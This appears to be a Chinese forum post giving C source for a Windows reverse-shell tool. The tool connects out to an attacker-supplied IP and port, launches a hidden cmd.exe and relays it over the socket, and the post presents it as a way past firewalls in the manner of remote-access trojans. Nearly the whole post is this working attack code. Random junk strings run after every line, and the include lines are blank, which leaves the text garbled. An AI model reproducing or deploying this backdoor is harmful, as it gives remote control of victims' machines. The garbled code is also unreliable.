Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 U$S{j&?  
suYbD!`(  
/* ============================== G_zK .N  
Rebound port in Windows NT ZAn9A>5_  
By wind,2006/7 t/3HX]B_  
===============================*/ $sUn'62JlU  
#include F)Z9Qlo  
#include a8gOb6qF/H  
k3KT':*  
#pragma comment(lib,"wsock32.lib") H}q$6WE  
-8R SE4)  
void OutputShell(); uvw1 _j?  
SOCKET sClient; mD|Q+~=|e  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OJhMM-  
[)kuu  
void main(int argc,char **argv) }8s&~fH  
{ '=eVem=  
WSADATA stWsaData; $*LBZcL  
int nRet; VF b  
SOCKADDR_IN stSaiClient,stSaiServer; `C$QR 8  
6'.)z,ts  
if(argc != 3) E25w^x2  
{ J1Az+m  
printf("Useage:\n\rRebound DestIP DestPort\n"); )o-mM tPj  
return; EEo I|  
} $RunGaX!=N  
RKM5FXX  
WSAStartup(MAKEWORD(2,2),&stWsaData); 3(nnN[?N,5  
JT=ax/%Mo  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =-&h@mB;G  
|n^rI\p%  
stSaiClient.sin_family = AF_INET; .g?D3$|K  
stSaiClient.sin_port = htons(0); >3~)2)Q  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u:6R|%1fNn  
2\1bQq\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B=7maYeU  
{ cV_-Bcb  
printf("Bind Socket Failed!\n"); wAJ=rRI  
return; )]4=anJu@|  
} u^#e7u  
ZHlHnUo  
stSaiServer.sin_family = AF_INET; G \Nnw==v  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d @ l  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); p L^3*B.Nr  
`M. I.Z
_  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %<'.c9u5  
{
6eA)d#  
printf("Connect Error!"); I6gduvkXi4  
return; YpRhl(|  
} GV28&!4sS  
OutputShell(); p)]x,F  
} pf+VYZ#)  
tkkh<5{C   
void OutputShell() r. (}  
{ 7$t['2j3  
char szBuff[1024]; wA)nryXV  
SECURITY_ATTRIBUTES stSecurityAttributes; OVc)PMp  
OSVERSIONINFO stOsversionInfo; 2-Wy@\  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >oaL-01i  
STARTUPINFO stStartupInfo; ;t,v/
(/3  
char *szShell; 3 TTQff  
PROCESS_INFORMATION stProcessInformation; zSu,S4m_;  
unsigned long lBytesRead; wXKt)3dmu  
TJ_6:;4,|_  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); '#eT  
{E7STLQ_%  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  qmenj  
stSecurityAttributes.lpSecurityDescriptor = 0; LR\8M(rtvH  
stSecurityAttributes.bInheritHandle = TRUE; pd& HC  
R@/"B?`(f  
>3&V"^r(|  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e&Q w\Ze  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); WwWCNN~}  
D*?LcxX  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G;/l[mvh,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g+c%J#F=  
stStartupInfo.wShowWindow = SW_HIDE; 7s!rer>  
stStartupInfo.hStdInput = hReadPipe; AT1{D!b  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;:+2.//  
n}fV$qu  
GetVersionEx(&stOsversionInfo); !(viXV5  
zMBGpqdP  
switch(stOsversionInfo.dwPlatformId) UO!} 0'  
{ e$JC
ak=  
case 1: zr_L V_e  
szShell = "command.com"; &A`,hF8  
break;
Y(2Z<d  
default: Jf\`?g3#  
szShell = "cmd.exe"; (0.JoeA`y  
break; R
*XZPzg%  
} yF%e)6  
L/I ] NA!U  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DlAwB1Ak  
KaHe(  
send(sClient,szMsg,77,0); C*B5"s"  
while(1) *K@O3n   
{ Y6v#0pT  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \Sv|yQUT  
if(lBytesRead) %y*'bS  
{ t)g%9 k^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `PvS+>q  
send(sClient,szBuff,lBytesRead,0); 01uj-!D$@  
} 'Ffvd{+:8  
else 7~'%ThUb$-  
{ LnN:;h  
lBytesRead=recv(sClient,szBuff,1024,0); B., BP  
if(lBytesRead<=0) break; 3Co1bY:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Msfxce  
} HDKY7Yr  
} Fp[49  
]gm3|-EiY  
return; G"kX#k0S  
}